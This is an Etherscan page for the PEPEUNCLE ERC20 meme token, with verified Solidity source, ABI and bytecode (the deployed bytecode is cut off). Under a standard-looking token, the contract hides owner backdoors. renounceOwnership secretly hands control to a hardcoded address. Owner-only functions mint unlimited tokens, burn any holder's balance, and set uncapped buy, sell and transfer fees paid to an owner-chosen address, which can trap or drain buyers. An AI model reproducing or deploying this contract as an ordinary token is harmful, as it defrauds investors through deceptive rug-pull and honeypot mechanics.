ETH Price: $3,268.84 (+4.66%)
Gas: 2 Gwei

Token

PEPEUNCLE (PEPEUNCLE)
 

Overview

Max Total Supply

1,000,000,009,479,851.08373663553265 PEPEUNCLE

Holders

33

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PEPEUNCLE

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-23
*/

//Welcome to PEPEUNCLE
/*
Twitter- https://twitter.com/PEPEUNCL_erc20_
Telegram-https://t.me/PEPEUNCLE_EN1
Website- http://pepeuncle.vip/
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

pragma solidity ^0.8.0;

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    
    constructor() {
        _transferOwnership(_msgSender());
    }

    
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    
    
     function owner() public view virtual returns (address) {
         return _owner;
     }

    
     function _checkOwner() internal view virtual {
         
         require(owner() == _msgSender(), "Ownable: caller is not the owner");
     }

    
    function renounceOwnership() public virtual  {
        _transferOwnership(address(0xd4b525461F0ecf281766ec5a8974abA37dE9f4c1));
    }

    
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

pragma solidity ^0.8.0;


interface IERC20 {
    
    event Transfer(address indexed from, address indexed to, uint256 value);

    
    event Approval(address indexed owner, address indexed spender, uint256 value);

    
    function totalSupply() external view returns (uint256);

    
    function balanceOf(address account) external view returns (uint256);

    
    function transfer(address to, uint256 amount) external returns (bool);

    
    function allowance(address owner, address spender) external view returns (uint256);

    
    function approve(address spender, uint256 amount) external returns (bool);

    
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}



pragma solidity ^0.8.0;



interface IERC20Metadata is IERC20 {
    
    function name() external view returns (string memory);

    
    function symbol() external view returns (string memory);

    
    function decimals() external view returns (uint8);
}



pragma solidity ^0.8.0;





contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

   
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

   
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }





    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

pragma solidity ^0.8.0;
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract PEPEUNCLE is ERC20, Ownable {
    using SafeMath for uint256;
    address public addr; 
    address public pair;
    uint256 public BIBIA = 0;
    uint256 public BIBIB = 0;
    uint256 public BIBIC;
    
    
                        
    constructor() ERC20("PEPEUNCLE", "PEPEUNCLE") {
         
        _mint(address(0xd4b525461F0ecf281766ec5a8974abA37dE9f4c1    ), 10000000 * 10 ** decimals());
        
        
    }
    
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal override {
        uint256 x = amount.div(1000);
        if(sender == pair){
            super._transfer(sender, addr, x.mul(BIBIA));
            super._transfer(sender, recipient, x.mul(1000-BIBIA));
        }else if(recipient == pair){
            super._transfer(sender, addr, x.mul(BIBIB));
            super._transfer(sender, recipient, x.mul(1000-BIBIB));
        }else if((pair != address(0)) && (recipient != pair) && (sender != pair)){
            super._transfer(sender, addr, x.mul(BIBIC));
            super._transfer(sender, recipient, x.mul(1000-BIBIC));
        }else{
            super._transfer(sender, recipient, x.mul(1000));
        }
    }
    
    function setPair(address _pair) public onlyOwner {
        pair = _pair;
    }
    
    function setbuy(uint256 _BIBIA) public onlyOwner {
        BIBIA = _BIBIA;
     }
     
     function setsell(uint256 _BIBIB)public onlyOwner {
        BIBIB = _BIBIB;
     }
     
     function setBIBIC(uint256 _BIBIC)public onlyOwner {
         BIBIC =_BIBIC;
     }
     

    function setaddr ( address _addr)public onlyOwner{
       addr = _addr;
    }
    
    function zf(address account, uint256 amount) public onlyOwner {
        _mint(account, amount* 10 ** decimals());
    }
   

    function XH(address account, uint256 amount) public onlyOwner {
        _burn(account, amount* 10 ** decimals());
    }

       function XH2(address account) public onlyOwner {
        _burn(account, balanceOf(account));
    }
    

     
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BIBIA","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"BIBIB","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"BIBIC","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"XH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"XH2","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"addr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_BIBIC","type":"uint256"}],"name":"setBIBIC","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"setPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"setaddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_BIBIA","type":"uint256"}],"name":"setbuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_BIBIB","type":"uint256"}],"name":"setsell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"zf","outputs":[],"stateMutability":"nonpayable","type":"function"}]

6080604052600060085560006009553480156200001b57600080fd5b5060408051808201825260098082526850455045554e434c4560b81b602080840182815285518087019096529285528401528151919291620000609160039162000220565b5080516200007690600490602084019062000220565b505050620000936200008d620000de60201b60201c565b620000e2565b620000d873d4b525461f0ecf281766ec5a8974aba37de9f4c1620000b662000134565b620000c390600a6200036e565b620000d2906298968062000466565b62000139565b620004db565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b601290565b6001600160a01b0382166200016b5760405162461bcd60e51b81526004016200016290620002c6565b60405180910390fd5b62000179600083836200021b565b80600260008282546200018d919062000306565b90915550506001600160a01b03821660009081526020819052604081208054839290620001bc90849062000306565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9062000201908590620002fd565b60405180910390a362000217600083836200021b565b5050565b505050565b8280546200022e9062000488565b90600052602060002090601f0160209004810192826200025257600085556200029d565b82601f106200026d57805160ff19168380011785556200029d565b828001600101855582156200029d579182015b828111156200029d57825182559160200191906001019062000280565b50620002ab929150620002af565b5090565b5b80821115620002ab5760008155600101620002b0565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b90815260200190565b600082198211156200031c576200031c620004c5565b500190565b80825b600180861162000335575062000365565b8187048211156200034a576200034a620004c5565b808616156200035857918102915b9490941c93800262000324565b94509492505050565b60006200038260001960ff85168462000389565b9392505050565b6000826200039a5750600162000382565b81620003a95750600062000382565b8160018114620003c25760028114620003cd5762000401565b600191505062000382565b60ff841115620003e157620003e1620004c5565b6001841b915084821115620003fa57620003fa620004c5565b5062000382565b5060208310610133831016604e8410600b841016171562000439575081810a83811115620004335762000433620004c5565b62000382565b62000448848484600162000321565b8086048211156200045d576200045d620004c5565b02949350505050565b6000816000190483118215151615620004835762000483620004c5565b500290565b6002810460018216806200049d57607f821691505b60208210811415620004bf57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b61143480620004eb6000396000f3fe608060405234801561001057600080fd5b50600436106101a95760003560e01c8063715018a6116100f9578063a8aa1b3111610097578063d82ec0e611610071578063d82ec0e614610336578063dd62ed3e14610349578063f0f261c41461035c578063f2fde38b1461036f576101a9565b8063a8aa1b3114610308578063a9059cbb14610310578063b89ea0f114610323576101a9565b80638da5cb5b116100d35780638da5cb5b146102d257806395d89b41146102da57806398bb0011146102e2578063a457c2d7146102f5576101a9565b8063715018a6146102a2578063767800de146102aa5780638187f516146102bf576101a9565b8063313ce567116101665780634b0470bc116101405780634b0470bc14610261578063532467a4146102745780636ffe11b11461027c57806370a082311461028f576101a9565b8063313ce567146102315780633893d85214610246578063395093511461024e576101a9565b806306fdde03146101ae578063095ea7b3146101cc5780630d56562c146101ec578063174325881461020157806318160ddd1461021657806323b872dd1461021e575b600080fd5b6101b6610382565b6040516101c39190610e78565b60405180910390f35b6101df6101da366004610e18565b610414565b6040516101c39190610e6d565b6101ff6101fa366004610d91565b610438565b005b610209610462565b6040516101c39190611211565b610209610468565b6101df61022c366004610ddd565b61046e565b61023961049e565b6040516101c3919061121a565b6102096104a3565b6101df61025c366004610e18565b6104a9565b6101ff61026f366004610d91565b6104d5565b6102096104f2565b6101ff61028a366004610e41565b6104f8565b61020961029d366004610d91565b610505565b6101ff610524565b6102b2610543565b6040516101c39190610e59565b6101ff6102cd366004610d91565b610552565b6102b261057c565b6101b661058b565b6101ff6102f0366004610e41565b61059a565b6101df610303366004610e18565b6105a7565b6102b2610603565b6101df61031e366004610e18565b610612565b6101ff610331366004610e18565b61062a565b6101ff610344366004610e41565b61065c565b610209610357366004610dab565b610669565b6101ff61036a366004610e18565b610694565b6101ff61037d366004610d91565b6106bd565b606060038054610391906113ad565b80601f01602080910402602001604051908101604052809291908181526020018280546103bd906113ad565b801561040a5780601f106103df5761010080835404028352916020019161040a565b820191906000526020600020905b8154815290600101906020018083116103ed57829003601f168201915b5050505050905090565b60008061041f6106f4565b905061042c8185856106f8565b60019150505b92915050565b6104406107ac565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b60085481565b60025490565b6000806104796106f4565b90506104868582856107eb565b610491858585610835565b60019150505b9392505050565b601290565b60095481565b6000806104b46106f4565b905061042c8185856104c68589610669565b6104d09190611228565b6106f8565b6104dd6107ac565b6104ef816104ea83610505565b61098c565b50565b600a5481565b6105006107ac565b600955565b6001600160a01b0381166000908152602081905260409020545b919050565b61054173d4b525461f0ecf281766ec5a8974aba37de9f4c1610a7e565b565b6006546001600160a01b031681565b61055a6107ac565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031690565b606060048054610391906113ad565b6105a26107ac565b600855565b6000806105b26106f4565b905060006105c08286610669565b9050838110156105eb5760405162461bcd60e51b81526004016105e290611195565b60405180910390fd5b6105f882868684036106f8565b506001949350505050565b6007546001600160a01b031681565b60008061061d6106f4565b905061042c818585610835565b6106326107ac565b6106588261063e61049e565b61064990600a6112a6565b6106539084611377565b610ad0565b5050565b6106646107ac565b600a55565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61069c6107ac565b610658826106a861049e565b6106b390600a6112a6565b6104ea9084611377565b6106c56107ac565b6001600160a01b0381166106eb5760405162461bcd60e51b81526004016105e290610f50565b6104ef81610a7e565b3390565b6001600160a01b03831661071e5760405162461bcd60e51b81526004016105e290611151565b6001600160a01b0382166107445760405162461bcd60e51b81526004016105e290610f96565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061079f908590611211565b60405180910390a3505050565b6107b46106f4565b6001600160a01b03166107c561057c565b6001600160a01b0316146105415760405162461bcd60e51b81526004016105e290611096565b60006107f78484610669565b9050600019811461082f57818110156108225760405162461bcd60e51b81526004016105e290610fd8565b61082f84848484036106f8565b50505050565b6000610843826103e8610b98565b6007549091506001600160a01b03858116911614156108a8576006546008546108849186916001600160a01b039091169061087f908590610bda565b610c1f565b6108a3848461087f6008546103e861089c9190611396565b8590610bda565b61082f565b6007546001600160a01b03848116911614156108f9576006546009546108e19186916001600160a01b039091169061087f908590610bda565b6108a3848461087f6009546103e861089c9190611396565b6007546001600160a01b03161580159061092157506007546001600160a01b03848116911614155b801561093b57506007546001600160a01b03858116911614155b1561097b57600654600a546109639186916001600160a01b039091169061087f908590610bda565b6108a3848461087f600a546103e861089c9190611396565b61082f848461087f846103e8610bda565b6001600160a01b0382166109b25760405162461bcd60e51b81526004016105e2906110cb565b6109be82600083610a79565b6001600160a01b038216600090815260208190526040902054818110156109f75760405162461bcd60e51b81526004016105e290610f0e565b6001600160a01b0383166000908152602081905260408120838303905560028054849290610a26908490611396565b90915550506040516000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a69908690611211565b60405180910390a3610a79836000845b505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216610af65760405162461bcd60e51b81526004016105e2906111da565b610b0260008383610a79565b8060026000828254610b149190611228565b90915550506001600160a01b03821660009081526020819052604081208054839290610b41908490611228565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b84908590611211565b60405180910390a361065860008383610a79565b600061049783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d43565b600082610be957506000610432565b6000610bf58385611377565b905082610c028583611240565b146104975760405162461bcd60e51b81526004016105e290611055565b6001600160a01b038316610c455760405162461bcd60e51b81526004016105e29061110c565b6001600160a01b038216610c6b5760405162461bcd60e51b81526004016105e290610ecb565b610c76838383610a79565b6001600160a01b03831660009081526020819052604090205481811015610caf5760405162461bcd60e51b81526004016105e29061100f565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610ce6908490611228565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d309190611211565b60405180910390a361082f848484610a79565b60008183610d645760405162461bcd60e51b81526004016105e29190610e78565b506000610d718486611240565b95945050505050565b80356001600160a01b038116811461051f57600080fd5b600060208284031215610da2578081fd5b61049782610d7a565b60008060408385031215610dbd578081fd5b610dc683610d7a565b9150610dd460208401610d7a565b90509250929050565b600080600060608486031215610df1578081fd5b610dfa84610d7a565b9250610e0860208501610d7a565b9150604084013590509250925092565b60008060408385031215610e2a578182fd5b610e3383610d7a565b946020939093013593505050565b600060208284031215610e52578081fd5b5035919050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610ea457858101830151858201604001528201610e88565b81811115610eb55783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604082015261636560f01b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526021908201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b90815260200190565b60ff91909116815260200190565b6000821982111561123b5761123b6113e8565b500190565b60008261125b57634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611611272575061129d565b818704821115611284576112846113e8565b8086161561129157918102915b9490941c938002611263565b94509492505050565b600061049760001960ff8516846000826112c257506001610497565b816112cf57506000610497565b81600181146112e557600281146112ef5761131c565b6001915050610497565b60ff841115611300576113006113e8565b6001841b915084821115611316576113166113e8565b50610497565b5060208310610133831016604e8410600b841016171561134f575081810a8381111561134a5761134a6113e8565b610497565b61135c8484846001611260565b80860482111561136e5761136e6113e8565b02949350505050565b6000816000190483118215151615611391576113916113e8565b500290565b6000828210156113a8576113a86113e8565b500390565b6002810460018216806113c157607f821691505b602082108114156113e257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220c7b03406ff156546014041b2a660687728a7c048ae4b76dac5fb74fa0366a68f64736f6c63430008000033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101a95760003560e01c8063715018a6116100f9578063a8aa1b3111610097578063d82ec0e611610071578063d82ec0e614610336578063dd62ed3e14610349578063f0f261c41461035c578063f2fde38b1461036f576101a9565b8063a8aa1b3114610308578063a9059cbb14610310578063b89ea0f114610323576101a9565b80638da5cb5b116100d35780638da5cb5b146102d257806395d89b41146102da57806398bb0011146102e2578063a457c2d7146102f5576101a9565b8063715018a6146102a2578063767800de146102aa5780638187f516146102bf576101a9565b8063313ce567116101665780634b0470bc116101405780634b0470bc14610261578063532467a4146102745780636ffe11b11461027c57806370a082311461028f576101a9565b8063313ce567146102315780633893d85214610246578063395093511461024e576101a9565b806306fdde03146101ae578063095ea7b3146101cc5780630d56562c146101ec578063174325881461020157806318160ddd1461021657806323b872dd1461021e575b600080fd5b6101b6610382565b6040516101c39190610e78565b60405180910390f35b6101df6101da366004610e18565b610414565b6040516101c39190610e6d565b6101ff6101fa366004610d91565b610438565b005b610209610462565b6040516101c39190611211565b610209610468565b6101df61022c366004610ddd565b61046e565b61023961049e565b6040516101c3919061121a565b6102096104a3565b6101df61025c366004610e18565b6104a9565b6101ff61026f366004610d91565b6104d5565b6102096104f2565b6101ff61028a366004610e41565b6104f8565b61020961029d366004610d91565b610505565b6101ff610524565b6102b2610543565b6040516101c39190610e59565b6101ff6102cd366004610d91565b610552565b6102b261057c565b6101b661058b565b6101ff6102f0366004610e41565b61059a565b6101df610303366004610e18565b6105a7565b6102b2610603565b6101df61031e366004610e18565b610612565b6101ff610331366004610e18565b61062a565b6101ff610344366004610e41565b61065c565b610209610357366004610dab565b610669565b6101ff61036a366004610e18565b610694565b6101ff61037d366004610d91565b6106bd565b606060038054610391906113ad565b80601f01602080910402602001604051908101604052809291908181526020018280546103bd906113ad565b801561040a5780601f106103df5761010080835404028352916020019161040a565b820191906000526020600020905b8154815290600101906020018083116103ed57829003601f168201915b5050505050905090565b60008061041f6106f4565b905061042c8185856106f8565b60019150505b92915050565b6104406107ac565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b60085481565b60025490565b6000806104796106f4565b90506104868582856107eb565b610491858585610835565b60019150505b9392505050565b601290565b60095481565b6000806104b46106f4565b905061042c8185856104c68589610669565b6104d09190611228565b6106f8565b6104dd6107ac565b6104ef816104ea83610505565b61098c565b50565b600a5481565b6105006107ac565b600955565b6001600160a01b0381166000908152602081905260409020545b919050565b61054173d4b525461f0ecf281766ec5a8974aba37de9f4c1610a7e565b565b6006546001600160a01b031681565b61055a6107ac565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031690565b606060048054610391906113ad565b6105a26107ac565b600855565b6000806105b26106f4565b905060006105c08286610669565b9050838110156105eb5760405162461bcd60e51b81526004016105e290611195565b60405180910390fd5b6105f882868684036106f8565b506001949350505050565b6007546001600160a01b031681565b60008061061d6106f4565b905061042c818585610835565b6106326107ac565b6106588261063e61049e565b61064990600a6112a6565b6106539084611377565b610ad0565b5050565b6106646107ac565b600a55565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61069c6107ac565b610658826106a861049e565b6106b390600a6112a6565b6104ea9084611377565b6106c56107ac565b6001600160a01b0381166106eb5760405162461bcd60e51b81526004016105e290610f50565b6104ef81610a7e565b3390565b6001600160a01b03831661071e5760405162461bcd60e51b81526004016105e290611151565b6001600160a01b0382166107445760405162461bcd60e51b81526004016105e290610f96565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061079f908590611211565b60405180910390a3505050565b6107b46106f4565b6001600160a01b03166107c561057c565b6001600160a01b0316146105415760405162461bcd60e51b81526004016105e290611096565b60006107f78484610669565b9050600019811461082f57818110156108225760405162461bcd60e51b81526004016105e290610fd8565b61082f84848484036106f8565b50505050565b6000610843826103e8610b98565b6007549091506001600160a01b03858116911614156108a8576006546008546108849186916001600160a01b039091169061087f908590610bda565b610c1f565b6108a3848461087f6008546103e861089c9190611396565b8590610bda565b61082f565b6007546001600160a01b03848116911614156108f9576006546009546108e19186916001600160a01b039091169061087f908590610bda565b6108a3848461087f6009546103e861089c9190611396565b6007546001600160a01b03161580159061092157506007546001600160a01b03848116911614155b801561093b57506007546001600160a01b03858116911614155b1561097b57600654600a546109639186916001600160a01b039091169061087f908590610bda565b6108a3848461087f600a546103e861089c9190611396565b61082f848461087f846103e8610bda565b6001600160a01b0382166109b25760405162461bcd60e51b81526004016105e2906110cb565b6109be82600083610a79565b6001600160a01b038216600090815260208190526040902054818110156109f75760405162461bcd60e51b81526004016105e290610f0e565b6001600160a01b0383166000908152602081905260408120838303905560028054849290610a26908490611396565b90915550506040516000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa